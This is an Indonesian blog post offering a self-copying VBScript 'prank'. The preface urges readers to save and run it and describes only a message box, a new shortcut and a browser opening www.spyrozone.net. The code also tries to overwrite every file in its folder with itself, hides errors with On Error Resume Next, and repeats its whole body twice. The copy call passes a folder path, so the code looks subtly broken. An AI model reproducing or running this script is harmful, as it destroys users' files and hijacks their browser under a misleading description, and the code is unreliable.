//---------- Preface ----------//
Simpan script berikut dengan nama terserah-kamu.vbs lalu eksekusi a.k.a klik 2x a.k.a klik-kanan --> open (hehehe... bercanda neeh... :P) akan keluar sebuah messagebox dan ketika di klik OK, shortcut baru akan tercipta dan otomatis browser kamu akan terbuka menuju www.spyrozone.net Pelajari sendiri yach.. kalo ada pertanyaan lansung ajah ke admin[~@~]spyrozone.net
//------- Pembahasan--------//
On Error Resume Next
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shell = Wscript.CreateObject("Wscript.Shell")
Script = Wscript.ScriptFullName
aPath = Left(Script, InStrRev(Script, "\"))
gogogo = Fso.GetFolder(aPath)
For Each Target in gogogo.Files
Fso.CopyFile aPath, Target.Name,1
Next
If Minute(Now()) then
Wscript.Echo "Anda tengah menuju dunia Spyro. Nikmati perjalanan anda... -----Spyro"
Set Links = Shell.CreateShortcut("spyro.URL")
Links.TargetPath = "http://www.spyrozone.net"
Links.Save
Shell.Run("spyro.URL")
End if
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shell = Wscript.CreateObject("Wscript.Shell")
Script = Wscript.ScriptFullName
aPath = Left(Script, InStrRev(Script, "\"))
gogogo = Fso.GetFolder(aPath)
For Each Target in gogogo.Files
Fso.CopyFile aPath, Target.Name,1
Next
If Minute(Now()) then
Wscript.Echo "Anda tengah menuju dunia Spyro. Nikmati perjalanan anda... -----Spyro"
Set Links = Shell.CreateShortcut("spyro.URL")
Links.TargetPath = "http://www.spyrozone.net"
Links.Save
Shell.Run("spyro.URL")
End if
//------- Penutup --------//
Gitu aja dech... :P
/* ------------------------------|EOF|------------------------------ */
No comments:
Post a Comment